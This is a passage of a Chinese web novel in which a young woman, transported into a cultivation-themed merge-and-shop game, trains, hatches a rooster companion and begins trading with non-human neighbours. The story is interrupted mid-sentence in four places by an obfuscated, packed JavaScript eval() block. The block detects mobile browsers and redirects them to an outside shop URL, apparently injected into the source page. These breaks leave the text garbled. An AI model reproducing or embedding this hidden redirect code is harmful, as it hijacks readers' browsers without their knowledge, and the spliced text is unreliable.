研究好一会儿发现是戳小人的肚子,她腹部会浮现出一个五色光圈,光圈和代表灵力值的图标极为相似,只是图标是圆珠状,而这光圈是平面图。 再戳着光圈,就能看视频。 第二条视频仍然是那对男女,他们动手把小女孩摆出一个造型:“手心要朝上哦。” “腿……难受。” “习惯了就好。” 这条视频看完后,灵力值却没有丝毫变化。 现世时,满值只是不再随时间自动增加灵力,但使用灵晶、灵力团或者看广告,都能额外增加。 而现在不行了,这是游戏和现实的另一个差别。 苏芸暗觉可惜,她先返回棋盘格合成出一批辟谷丹备用。 等等,炼丹炉的出品的丹丸似乎都挺有用的。 止血散、辟谷丹、清心丹、解毒丹、龙涎丹、辟毒丹、回春丹…… 止血散、辟谷丹不必言明,清心丹是解混乱状态的,龙涎丹是给灵兽吃的,等灵宠破壳后能用上,回春丹可以回气血,驻颜丹很有用但先不急…… 苏芸手速飞快,把觉得有用的都备上一粒以防万一,另外炼铁炉里,在针、钉、环、索之后,第八级可以合成出盾,而十一级能合成出剑。 不过现在灵力值少,先紧着丹丸,防身武器延后再说。 眨眼间就把满值的灵力给耗尽了,她重回个人页面继续看广告。 第三条视频,是年轻男女教女孩打拳,第四条视频是年轻男女教女孩写字。 苏芸每回看完立刻去棋盘合成,然后便发现,现在‘看广告’虽然没法超过满值额外增加灵力,但是每回都能从零恢复到满值。 这就很棒了。 她快速消耗完接着看视频。 这回年轻男女没出现,只有小小的女孩独自盘膝打坐。 女孩长大了一点,约莫有五六岁,她正儿八经盘膝打坐,嘴里念念有词:“静守玄牝,气归偃月;精合其神,神合其气;守一抱元,勿妄勿驰……” 苏芸看着看着眼睛发直了。 她恍惚间看到一个巨大的五色光环将女孩包裹住,且女孩的身影似乎脱离出视频的限制,真正来到她面前。 苏芸不由自主地伸手想去触碰那光环,却在下一秒一个激灵,蓦然清醒过来。 视频已经没了。 苏芸却久久没有回过神。 直到‘咔嚓’一声传来,苏芸略抬头朝声音的方向看去。 萌宠孵化时间到了。 一道红光自裂开的蛋壳闪烁出来,下一秒一个身影利落蹦出。 一只红冠高耸、羽色金红的大公鸡站在高高的枝丫上睨视着苏芸。 这……绝不是初生期的萌宠,完全跟‘萌’字沾不上关系。 而且……一只鸡能抵什么用? 似乎感觉到苏芸的轻视,大公鸡眼神瞬间变得凛冽,扑腾着翅膀就朝她啄来。 一个刚毕业不久的年轻人和一只体型壮硕、足有半人高的大公鸡比,孰强孰弱? 必然是大公鸡强! 苏芸哧溜跑回杂货铺。 正要关上后门时,她才看到大公鸡踩着一条小青蛇,锋利尖锐的喙对着青蛇一啄一叼,便轻易划开蛇皮,从中叼出一颗蛇胆。 大公鸡抬头把蛇胆吞入腹中,并抽空给落跑的苏芸一个睥睨的眼神。 苏芸:“……” 她放开门把手,比出大拇指:“你牛!” 怎么说也是本游戏唯一跟宠,就算品种不一样,数值总得一致吧。 之后苏芸眼睁睁看着这只‘刚出生’的大公鸡从院子的杂草堆里、山墙上的藤蔓里、各种碎石缝里翻出了蜈蚣、壁虎、蜘蛛…… 它就这样自力更生地喂饱了自己,压根没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563959|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用上苏芸提前预备的龙涎丹。 要不是亲眼看见,苏芸都不知道小小的后院居然这么危险,还好先前除草时只是耗费灵力,没被蛇虫咬着。 话又说回来,之前玩游戏时可从来没遇到过危险,哪怕在探山任务里遇到凶兽,也不会有事。 逻辑上来说种田经营游戏也不可能死人,继续开店也没事吧? 想是这么想,苏芸却没半分打开大门的意思,只一边手指不停地耗尽新一波灵力,然后继续点Q版小人。 这回却只弹出一个提示。 【你今天的领悟已经到达极限!】 广告次数还有限制?你们这种套皮游戏不都是靠广告引流挣钱么? 苏芸愤愤不平,可慢慢冷静下来后,她又回想起刚刚被大公鸡破壳打断的感觉。 忽然,她想到什么,先认真看了眼Q版小人,接着过去把一直桌上的编织箱子打开。 这套古装是上衫下裙的样式,整体看起来像明制款,可裙子不是马面裙,又像是现代仿汉装。 年代不是重点,重点是衣角和裙摆的绣花跟Q版小人衣服上的花纹极为相似。 她拿着衣服上了二楼。 二楼又出现了变化,几样简单的家具再度升级。 床铺变成1.8,立柜有四扇门,可还是没有卫生间。 看来卫生间没法用‘装修’的手段开出来,只能在整个杂货铺全面装修后,进行整体的建筑升级,才能开出来。 苏芸打发小石人回棋盘里休息,便把编织箱里的衣服连带绣鞋都给换上。 换好衣服的她没发现自己无形中发生了某种变化,那一瞬间似乎彻底融入这个世界,她只是在床上找了个合适的位置,摆出跟Q版小人一样的姿态,同时嘴里也跟着念叨:“静守玄牝……” 神奇的是,过往玩游戏时没走心,刚刚看视频也是为了灵力值并未太用心,但这段话她居然一字不差地记下了。 苏芸陷入一种奇怪的状态,似乎一下子身处五色光点之中,一下子又悬空于大山上方。 她恍惚间看到了山林里暴露出来的珍稀材料,正要伸手捡的时候,却又一下子弹回满是光点的世界。 但当她想拢住周围的光点,让它们不要瞎动弹时,又一下子飞回了山上。 这种状态来来回回跳转许久,终于苏芸受不了啦,发狠道:“我就留在山上!” 不断跳转的画面终于停止,她顺利停留在山峦之上。 只是她明明离山林很近,甚至能够清晰地看到枯叶上的虫子在爬动,可伸手时却无论如何也够不过去。 慢慢地她就放弃了,只盘膝坐在上方,俯瞰这片山林。 而先前的五色光点也不知怎么的,反而主动跑到山林这边找她了。 她没再主动理会这些光点,光点却慢慢地自发地组成一个五色光圈绕着苏芸。 然后,苏芸又睡着了…… 直到被一连串提示音吵醒。 【恭喜你顺利从气感初生迈入灵气入体,修为小有提升。】 【恭喜你获得修行礼包:灵晶宝箱×1】 【恭喜你获得:工具宝箱×1、惊喜宝箱×1】 【恭喜你获得:神秘碎片×1】 【恭喜你获得:抽奖卡券×1】 5. 第 5 章 一切的恐惧源自火力不足。 苏芸觉得自己发现了这款游戏的正确玩法。 既然是以仙侠为背景的游戏,主线当然是修行、打怪、升级啊,经什么营! 一觉醒来精力十足的苏芸又自信了。 就算外面都是妖魔鬼怪又怎样,她也开始修炼了啊。 苏芸推开窗户朝外看去。 此时夜幕已经降临,街上却比白天更增添几分喧闹,白天大部分铺子里只有店家自己守着。 这条街没有路灯这样的公共设施,但每家店铺都在门外挂上了造型各异的大灯笼,共同将这条街巷打造得灯火通明。 苏芸先下意识看向左边第二家店。 或许是处于夜色中,她并未看到张牙舞爪的透明触角。 苏芸松口气,目光一扫,却清晰地看到更远一点的地方,一名正坐在小摊位上吃烤鸡的女子,吃着吃着舌头分岔了。 “……” 冷静,有能吃金元宝会装修的石精,有包裹两层楼房的巨大触角,还有毛茸茸的大尾巴,现在只是多了条分岔的舌头算什么。 苏芸看似镇定,只是悄悄把窗户合上些许,只留一条缝隙继续观察外面。 打扮斯文的男子张嘴露出一口獠牙,将一只完整的烤鸡塞进嘴里直接吞了下去;眼睛大得惊人的少年一跃直接从地面跳上了二楼屋顶;个头小小的孩子捧着的罐子焦急地跑着,跑着跑着背后生出了翅膀…… 这离奇的一幕幕,既让苏芸忍不住睁大眼一直看下去,却也让她方才燃起的雄心受到重锤。 她握握拳。 灵气入体了吗? 完全没感觉,她觉得状态很好,但并未感应到强大的力量,要说变化……就是眼神变得特别好。 其实之前苏芸有假性近视,只是不爱戴眼镜,但穿过来后,眼神明显变好不少。 不对! 苏芸仔细回想,她是在拿到手镯开始营业杂货铺后,眼神才变好的。 刚来时,她沿着街巷一路过来,因为突遭意外,没心情观察太多,但偶尔视线也会扫过两旁,那时的视力依然是模糊的。 可下午她眼睛突然变得清晰了。 而且按理说,那透明的触角应该没那么容易被发现,可她就是看得一清二楚。 而现在,她感觉视力比下午那会儿更好了。 即便家家户户门口都挂了灯,但她居然能看这么远这么清楚,绝不是普通人的视力。 苏芸打开光屏。 灵力值已经满了,没法凭此判断她这回睡了多久,但现在都是晚上了,怎么也有五六个小时吧。 没有时钟真的很不方便。 咦?灵力值是一百一,突破上限了? 也对,毕竟升了一级,而且印象中这游戏的灵力上限比同类游戏都高。 可手游的时候,都是靠完成任务累积经验值升级,现在她却因为看视频‘顿悟’升级了。 这又是手游与现实的一大差异。 苏芸暗暗记下这一点,光屏没有记事本,手里也没纸笔,好烦。 她先解锁一个新的小石人,不过金元宝已经消耗完,小石人不会再工作。 这些小石人还能继续两两合成升级,她合成出一个初级石精,现有一个初级石精、一个普通石精。 意识到这个世界充满危险的苏芸可比刚穿来时可仔细许多,她将棋盘上所有合成器、合成产物一个点开,认真过了一遍信息,才去打开奖励的宝箱。 灵晶宝箱凑出一个灵晶,灵晶再加五十。 惊喜宝箱里会开出多多的金元宝、灵晶和少量的合成碎片,而工具宝箱主要开出合成碎片,偶尔才会开出元宝和灵晶。 于是灵晶再加五十,金元宝再加一百。 苏芸赶紧让小石人去开两块田出来,早种植早收获。 小石人并不介意半夜工作,吞下金元宝便欢欢喜喜下楼了,甚至不用苏芸帮忙开门。 院子里,原本在窝里睡觉的大公鸡忽然警惕的抬头,见是石精过来吭哧吭哧挖土,便又重新窝回去。 楼上,苏芸先把宝箱开出的一块圆石板、造型奇异上缠绕了线圈的木板进行合成。 棋盘上的雾气再次退散了一圈。 圆石板合成了一个磨盘、磨盘合成了一个石箱,最终合成了一个左侧有风箱、右侧有火焰、上方密封的东西。 棋盘下方显示的名称为:基础工具箱。 点了几下后,发现基础工具箱的合成线有两条。 或者吐出白色黏土渣,能合成瓷瓶、瓷匣等瓷器,如果吐出的是石头,便能合成玉石,继而合成各种玉器。 她只合成出一个普通瓷瓶、基础玉瓶便没再浪费灵力值。 缠线木板则合成出一个相当简易的木制纺织机。 纺织机能产出线团、布匹、手绢、衣服…… 就说她记得合成产物里有衣服嘛,以后不用担心换洗问题了。 慢慢棋盘上东西多起来,不太好挪动了。 苏芸干脆取出一些辟谷丹放在旁边的石墩桌上,接着继续研究。 专注起来后,刚刚因为看到形形色色的非人生物而滋生的焦虑慢慢退散了。 总归有玉镯、有系统,她并非全无自保之力。 且随着棋盘开放进程,她回想起的关于游戏的信息也越多。 神秘碎片是一片带字但又看不清具体什么字的碎纸片,需要凑齐才知道是什么。 集齐碎片的活动很多,印象中特殊建筑、皮肤、时装、珍稀材料都有可能,等集齐后除了获得成品外,还会有额外的灵力值和宝箱奖励。 抽奖卡券…… 这个游戏其实并没有十连保底的官方说明,但她习惯沿用其他游戏的设定,一般都是等攒齐一堆后才一起抽,总觉得这样运气更好,也更省事。 但在手游里,抽奖券很容易攒,可今天她只做了几个经营任务,到现在也只得到三张。 苏芸犹豫片刻,还是按住一张卡券进行抽卡。 卡包都是竖版卡牌,而抽奖卡券呈长方形,在光屏里缩小时,看着像某种纸币票据。 但等抽卡时,卡券在光屏上自动展开放大,才发现这是一张长长的卷轴。 可展开那么大的卷轴上却只浮现出一张小小的床头桌。 相当垃圾的出货。 她取出卷轴翻来覆去地看,也没弄清楚要怎么把里面的床头桌弄出来。 还是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563960|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这其实只是图纸,只能看没法用? 不能够啊,游戏里所有景观、家具都能自主布置的。 结果等她放弃研究,负气似的将卷轴往旁边一扔,床头桌却被甩了出来且端端正正地摆在地上。 桌子被放出来后,苏芸才发现桌面摆放的月牙形摆件并非装饰品,而是一盏灯,屋子一下子明亮起来。 苏芸凑过去认真打量。 这张小桌只有简陋的两层挡板,连抽屉都没有,自然没有附送其他东西。 但只是这盏灯,这次抽卡也值得。 而后她发现这灯并不简单。 这不是油灯也不是电灯,月牙灯像是由一块天然发光的宝石整体雕刻而成,散发的光亮并不刺眼却又照得很清晰。 她试探着触碰了一下,居然是温润细腻的触感,一点也不烫。 摸索一番后,她发现开关在月牙底部。 苏芸捡起旁边空白的卷轴,此时的卷轴像是一张放久了的微微泛黄的废纸,这玩意儿没用了? 可以用来当草稿吗? 苏芸看看床头桌,又看看卷轴,放出来还可以收回去吗? 她试着把卷轴正对桌子,心里想着收回去,发现居然真把床头桌重新收回纸张里。 重新放出月牙灯后,苏芸拿着空白的卷轴对着卧室里的其他家具,试图把它们也收起来,却没能成功。 所以这卷轴是一对一的? 那不能随便打草稿了,苏芸将卷轴卷好,郑重放在桌子下层。 第一次就抽中刚好能用得上的东西,给了苏芸信心,她打算干脆把另外两张卡券一齐用了。 什么都没带来的苏芸,物资紧缺到不愿意放过丝毫可能。 第二张卷轴开出了个极具年代感的立架,立架中间摆了个木盆,上有支出的横杆,横杆上挂了一条白毛巾。 取出来看,不是毛巾,只是叠好的棉布,是干净的,盆里也有大半盆清水。 虽然她现在更想要浴室能好好洗个澡,但有这也比没有好,再弄不来水,她只能明早大胆去小溪边取水了。 说来棋盘里只有辟谷丹,没有生产饮用水的合成器。 不过这么久了,她还没有产生干渴感。 所以辟谷丹不仅饱腹还止渴? 有清水后,苏芸便先放下其他,立刻给自己擦拭一番。 可擦拭的过程中她发现,虽然一路赶路过来,进店铺后顾不得灰尘到处坐,还不自量力抡过锄头,可身上并不怎么脏。 苏芸看着身上的这套衣服若有所思,她记得下午抡完锄头后,身上是蹭到不少泥土的。 虽然换上这套衣服之前,她在先前的牛仔裤上擦了擦,但不可能这么久,连出汗的黏腻感都没有。 当时是灵机一动,才刻意换上这套古装。 因为这衣服和Q版小人身上的极为相似,她想增加修行成功率。 按理说,ID名叫苏小云的Q版小人应该就是代表她,可苏芸总有种不踏实感,似乎只有穿的一样,她才真正贴近这个身份。 而她也确实学着视频的方法顺利修行了。 可到底是因为她找对了方法,或者她本来就可以,还是因为这套明显不简单的衣服呢? 6. 第 6 章 苏芸从棋盘取出一匹布。 装修阶段,小石人只能让家具在现有基础上进行升级,却没法无中生有,只有在以后杂货铺进行整体建筑升级时,在区域开阔后才会蹦出新的东西。 因而小石人即使努力把床扩宽到一米八,床头的雕花极尽华丽精致,但床上仍然只有和床一体的棕榈垫,没有枕头、被褥、四件套。 枕头、被褥、四件套都是高级合成物,现有的灵力值一时弄不出来。 反正这里气候还挺好,夜间也不冷,苏芸打算用一匹布当床单,一匹布当毯子,先混过一段时间。 这布看着平平无奇,但入手丝滑,十分亲肤,苏芸觉得完全能用来手搓内衣。 因为纺织机合成出的衣服只有外衣,可内衣也要换洗啊。 虽然没做过,但有针、线、剪刀,勉强能弄出来吧? 苏芸不确定地想着,一面看向棋盘上的纺织机,既然能直接合成出复杂的套装,为什么合成不出内衣呢? 仿佛感应到她的想法,在她合成衣服时,本应该是线圈→布匹→手绢→上衣→下裤→套装……的顺序,可在手绢之后突然合成出了一套白色内衣。 合成路径还能变的! 而且这套内衣裤除了没有花纹,款式跟她身上穿的几乎一样,跟合成出的外衣画风截然不同。 苏芸心里一跳,她真的只是穿进套皮游戏了吗? 如果只是游戏,那设定好的程序怎么可能说变就变呢? 手指只顿住一瞬,下一秒便利落地把衣服取出来。 纺织机合成出的单衣单裤同样是没有花纹,衣服是宽松的斜襟,裤子也特别简单,可能对于这里来说,这衣服就是里衣。 因为之后的套装会越来越复杂越来越华丽,且合成路径显示,都是女装。 苏芸从里到外换上从棋盘取出来的衣物,这衣服的料子和布匹一样舒服,完全可以当睡衣用。 她把那套古装好好折叠摆放进衣柜里,穿来时身上的衣服则随意扔在木墩上,打算明天再洗。 “要能有个洗衣机就好了。” 第三张卷轴抽出的是一个类似阵盘的东西,等拿出来看才知道是个计时器。 计时器外层是个八边框,看起来很像阵盘,但中间有个像碗碟一般的微微凹陷的圆盘,圆盘上刻录了子丑寅卯等十二时辰。 同样也有一长一短两根指针代表分针和时针,现在时间指着子亥交接的位置,也就是晚上十一点,这一天还没过去。 之前还觉得没计时器不方便,现在就有了,难道真的是想什么来什么? 她抖抖玉镯,对光屏嘀咕:“那能先开出洗漱间吗?” 只要能自保,苏芸并不强求逃回原来的世界,她就希望环境更舒适些。 但光屏毫无变化。 苏芸点点基础工具箱,“或者给瓶子里给装点饮料,这不过分吧?” 可工具箱的合成路径并未出现变动,合成出的东西在棋盘下方也只显示为器皿。 她不死心取出一个瓷瓶,打开倒了倒,里边确实空无一物。 那这东西有什么用? 简约的白瓷瓶,没有任何花纹,巴掌大小,还比不上250ml的矿泉水瓶,能装什么。 苏芸想到积攒太多以至于棋盘都放不下的辟谷丹。 她拿起放在桌上的褐色丹丸,正准备一粒粒装进瓶子里,却突然感觉到不对。 苏芸闻了闻,味道似乎淡了。 这是一种感觉,她仍不知道辟谷丹的构造和原理,但就在这短暂的时间里,似乎拥有了辨别之力。 苏芸吃了一粒,腹部感受到的暖流远不如下午那一枚。 果然不是错觉。 所以从棋盘取出来的丹药会慢慢,不,是很快流失药性,这辟谷丹并没有拿出来太久。 她把放在外面的辟谷丹全塞进瓶子,别看瓶口的大小只刚好只能容下小小的丹丸通过,但一连放进十几粒,瓶口都没有漫出来的迹象。 不过现在灵力有限,也不能为了探究瓷瓶的上限,肆无忌惮合成丹药。 只是装了东西的瓶子没法再收回棋盘了。 想了想,她又取出一个瓷瓶、一个玉瓶,然后在两个瓶子里各装一粒刚从棋盘上取出的辟谷丹。 三个瓶子依次摆开,过一段时间再进行对比。 可苏芸现在就觉得,瓶子里的丹药药性不会流失。 虽然棋盘上的信息介绍只说瓷瓶玉瓶是很好的器皿,但苏芸莫名觉得这些瓶子能够锁住药性。 毕竟她不止玩过许多游戏,也看过一些影视小说。 丹药是灵丹,瓶子也得是法器吧。 棋盘的事弄完后,苏芸点开了个人版面。 今日视频次数已经用完,但是在日志里可以翻出之前看过的视频。 第一条第二条没什么重要信息,第三条的拳法她反反复复看了好几遍。 视频很短,片段里只有几个动作,但等她看到第三遍的时候,视频时长自动延展了。 小女孩一拳接一拳打了下去,直到将整套拳法打完。 可此时苏芸已经完全看进去,顾不上视频异变的事,边看她还特意把手镯摆在一旁,自己在空地上跟着学起来。 而神奇的是,体育并不出众、也没有过此类基础的苏芸,这会儿居然跟着学了一遍,就打得似模似样了,仿佛早就有基础似的。 苏芸压下某些不能细思的猜测,既然都到了这里,就只能朝前看。 她一遍又一遍地打拳,直到能够不看视频,也顺下来为止。 中途有打更人在外喊着“丑时已至”,她也没管。 反正之前睡了挺多,大不了熬穿嘛。 等拳法完全打顺后,苏芸腹部有一道暖流随着拳法慢慢流转周身,练拳后的疲惫、酸涩一下子消失了,反而越练越精神。 直到破晓时分,格外响亮的鸡鸣声传来。 苏芸才想起大公鸡,继而想起派到后院里后来却忘了的小石人。 她赶忙将光屏跳转到后院,画面里院子已经被收拾妥当,碎石、杂草清理干净,还开辟出了八块整整齐齐四四方方的小田。 苏芸返回棋盘点了点种子。 这会儿系统自动感应到了,主动弹出一条提示。 【是否将灵种收容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563961|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。】 是。 【未检测到可用灵匣,是否直接取出种子?】 苏芸先用工具箱合成出一盒瓷匣,虽然工具箱有两条合成线,但两条线出货率不一样,黏土胚的出货率远远高于玉石。 幸而瓷匣符合系统所说的灵匣。 点击确认后,瓷匣自动放大打开,收起飞来的种子,然后便从棋盘上消失了。 而后院画面里,右侧多了一个瓷匣小图标,且到了这一步,点开能看到种子更全面的信息。 点击便能取出种子进行种植,和手游里的操作一模一样。 苏芸连着种下七粒,但最后一块时,她直接噔噔噔下楼,跑到后院,现取一粒种子。 【请尽快将灵种种下,避免种子灵气流失。】 她进行手动种植。 这回成功了,不论现实里看到的,还是光屏里显示的,都表明操作成功。 在画面里显得很小的一块块田地,现实看着也不大,一块地只有大点的盆栽大小,且只能种一枚种子。 手动强行塞两粒种子时,系统还会弹出提示。 但收获倒计时和游戏里差不多,十分钟到半小时不等。 初期时,开出来的都是些普通种子,如水稻、小麦、萝卜、青菜等,到后期探山和货郎交易,才能买到更高等种子。 苏芸看看旁边的小石人。 小石人开辟八块田地就停止了,但也没有休息,而是在院子里跑跑跳跳自得其乐,她便没有强令小石人回棋盘里,反而把刚刚棋盘里新合成出的小石人一并放了出来。 苏芸看看天色,天际才微亮,便又重新返回楼上。 她没有继续练拳,而是打开第四条视频。 视频里的小女孩只练了一个字,一整张大大的纸上只写那一个字。 这回苏芸才看出来,那个字哪里是普通的字,根本是繁复的符,她用手跟着比划几番,可惜现在没有纸笔,没法练。 看了几遍后,苏芸便跳到最后一条视频。 而后她盘腿坐下,跟着视频一块打坐,她再次顺利进入那种玄妙的状态。 等到再睁开眼时,精神的根本不像是熬了一整晚的人。 苏芸看看满了的灵力值,深吸一口气。 她换上那套古装,下楼,正准备毅然决然打开大门,忽然想起什么,跑到后院里看着那只大公鸡。 大公鸡扫一眼苏芸,便继续在山墙里翻吃的。 院子被清理干净后没有食物了。 苏芸过去想一把抱住大公鸡,大公鸡相当灵活地闪开了,很不配合。 她取出早就准备好的龙涎丹。 这东西对大公鸡似乎没有太大吸引力,大公鸡矜持的、可有可无地吃了,但这回,苏芸抱住它的时候,它没有再挣扎。 苏芸抱着大公鸡到门边,“你会保护我的吧?” 大公鸡踱步到一边,舒舒服服蹲下,没搭理她。 “以你的战斗力,能对付街上的人吗?” 大公鸡昂首,给了她一个睥睨的眼神。 明白了,“那就好。” 苏芸郑重打开大门。 7. 第 7 章 就算有辟谷丹能保证不饿死,苏芸也不可能一直龟缩在杂货铺里不出去。 原本苏芸是想苟一苟,等等级上去后再考虑其他。 但可能是练了几遍拳法,底气稍微足了些;可能是天亮了,明亮的太阳给人更多安全感;也可能观察街道一番,发现这里虽然有许多非人生物,可他们也只是按照自己的习性好好生活,并没有混乱、血腥、事端。 总之,过了一晚后,苏芸心态有所转变。 最主要是缺的东西太多,她想快点升级,早点过上好日子。 游戏嘛,不能氪就肝呗! 大门一打开,入目便看到重新恢复安宁的街巷,一切看起来那么祥和,仿佛她之前的那点纠结反复是在自寻烦恼、杞人忧天。 只要待在杂货铺里应该没问题。 毕竟真要对她做什么,他们完全可以在她昨天刚穿来时就动手。 仿佛开启了某种自动感应似得,她开门没多久,便有人陆陆续续找了过来。 来杂货铺买东西的大多是着街上铺子的老板,第一个来的便是剪纸店的老婆婆。 老婆婆先认真看苏芸一眼:“我说你才开业,怎么突然就关店了,原来是修为有所进益。” 说罢还点了点头,似乎对苏芸的进步很满意。 苏芸眼睛微微睁大了些,而后露出个无懈可击的笑,“是有所感悟,您今天想买点什么?” 老婆婆又买了一粒清心丹一粒解毒丹,棋盘上正好有现成的。 而后陆续来的人要买的东西,恰好也都是她昨晚预备的。 因为现阶段她开出的合成器不多,合成产物有限,而客户们似乎比她还明确的知道她能够出产什么,没有提出任何额外的需求。 苏芸收到的金元宝后先把楼下的桌椅修复好,然后依旧站在靠门边的位置。 她在每交易一单后,会顺便看一眼对方回去的地方,站在门口才能将整条街巷的情况看清楚。 那对双胞胎姐妹买了一对手帕,她们在左手边第三家开了一个花店。 苏芸记得后期花店里会有每周交易任务。 之前看到过的身后长了毛茸茸大尾巴的女孩这会儿过来时,是完完全全普通人的样子,她买了一对铁钉一个铁环。 苏芸看到她进了左手边第八家店,她也记得昨晚看到的情形,第八家店卖的正是烤鸡。 个头不高、眼睛很大看着像少年人的男子买了两粒龙涎丹,他回到左边第七家开的酒铺。 让苏芸比较在意的左手边第二家店铺店主,居然是昨天来过的一看就让人产生好感、气质十分温婉的女子。 见苏芸看过来的目光,对方还特意回以一笑。 苏芸立刻垂头看向棋盘,装作忙碌的样子,现阶段来说她只想观察他们,并不想有过多交流。 而经营左手边第三家铺子的也是个挺漂亮的女孩,只是她进来看到门边蹲着的大公鸡,还没来得及下单便惊呼一声急匆匆跑了…… 苏芸若有所思看大公鸡一眼,大公鸡浑不在意,它干脆直接溜达到柜台前,张开翅膀直接飞了上去,而后便蹲在柜台正中心,目光炯炯地对着门外。 “……” 苏芸继续操作棋盘。 【恭喜你完成今日签到任务: 完成10次交易√奖励灵晶×10 完成3次装修√奖励金元宝×20 孵化灵宠√奖励抽奖卡券×1】 积攒的东西全都卖了出去,灵力也消耗完毕,大家又跟提前得到信号似得,没再过来。 所有游戏初期升级都很快,而且交易和装修都能累积经验值,升级也会有额外宝箱奖励。 她一一点开宝箱,稍稍整理棋盘,获得了新的合成器碎片和灵晶、灵力。 新的合成器碎先分别合成出一个普通炼丹炉和一个普通炼铁炉,跟原来的炉子合成后,两个炉子都升了一级。 普通炼丹炉升级为精品炼丹炉,丹药合成路径延长了好些。 普通炼铁炉也升级为普通炼铜炉,但炼铜炉的升级是从单一合成路径变成双线合成路径。 新的合成路径是放出绳索合成旗子、扇子等,炼铜炉的两条合成线概率相对平均,不像工具箱。 最后一块红石头合成出一块造型简单的红色砚台。 但点击砚台,得到的却是三指宽的黄色纸条。 苏芸没急着补充灵力产出新的合成物,而是先回后院收了一波菜。 收菜时会有类似打地鼠的打青虫游戏,就是一片全是洞的土地上,捶打随时蹦跶出来的大虫子。 苏芸试了试,发现既可以在光屏上玩手游,也可以拿着锤子去田地里亲自敲打钻出来的青虫。 体验感可以说很足了,她果断选择玩手游。 收获后的粮食会直接归置到灶台的自带储存空间里,她撒下新的种子,便去灶台处。 灶台玩法很灵活,任意选择食材,随机生成未知菜品。 苏芸特别常规的放了稻谷、豆子和辣椒,整出了米饭和麻婆豆腐,菜出来后连盘都自动装好了。 问题来了,豆腐怎么出来的? 豆子入锅前合成再合成,就能出豆腐了,合成游戏就是这么神奇。 菜放在灶台上,苏芸等了等,不见动静,便端起盘子自己吃了。 灶台招待的访客是其他玩家,算联机交友任务。 现在显然找不到其他玩家了。 麻婆豆腐味道很好,跟记忆中的一样,就是可惜宠物蛋孵出的是公鸡,要是母鸡还能下蛋。 大公鸡不知道苏芸险恶的心思,门外洒进来的阳光越来越暖和,它换了个姿势继续舒服晒太阳。 苏芸刚吃完一顿正常饭菜,就开始为下一顿担忧了,只吃辟谷丹的日子过不了一点啊。 这游戏的经营任务里不含饮食类,种植方面,田地的数量和产出远比不上其他种田游戏,更没有畜牧养殖类任务,奶蛋就别想了,肉在探山和钓鱼任务里还有点希望。 她放下盘子,便回店铺继续肝。 新的合成器立刻迎来了新的顾客。 一名穿着直裰打扮像古代书生的男子过来买了黄纸、紫纸、红纸各十张。 他回到了右手边第四家铺子。 等再次消耗完积累的灵力团和一部分灵晶后,苏芸暂时停下经营任务。 她去后院山脚捡了一块石头,本来想点做记录,可回想时她发现对今天过来的人历历在目。 苏芸点开游戏日志,开始对任务记录、人物卡和店铺进行对应、复盘。 她高考……还是比这更努力的。 这一次努力的人,获得了该有的回报。 从记录来看,剪纸店老婆婆来的次数最多,而且她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563962|204646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 购买的丹药很具针对性,苏芸对她身上有可能存在支线任务的事一直放在心上,因而对她的人物卡信息也看得很认真。 要问为什么苏芸玩过游戏,却不记得支线任务? 游戏里做这种剧情任务时,是有很多场景卡牌,一路点点点,把剧情过完,任务就算完成了。 她压根不记得什么时期做了哪些人的剧情任务,也完全不记得具体内容。 可就目前的卡牌消息来说,剪纸店老婆婆身上的剧情任务大概率跟中毒有关。 如此认真专注的情况下,导致苏芸在查看新抽出来的关于剪纸婆婆的卡牌时,突然闪现出一段视频。 准确的说,那算不上一段视频,只能算动图。 老婆婆手指飞快的叠出一个纸人,再回过神看去,卡牌里婆婆眉目舒展、眼底含笑的 看着手里捧着的小纸人,小纸人也微微仰头,明明没有五官,却莫名传递出了儒慕之情。 苏芸脑海划过什么,立刻从棋盘取出几张黄纸。 她学着老婆婆的动作,飞快将手里的纸条折叠交织成一个小小的纸人,纸人完成的第一时间,棋盘上的提示和系统音同步出现。 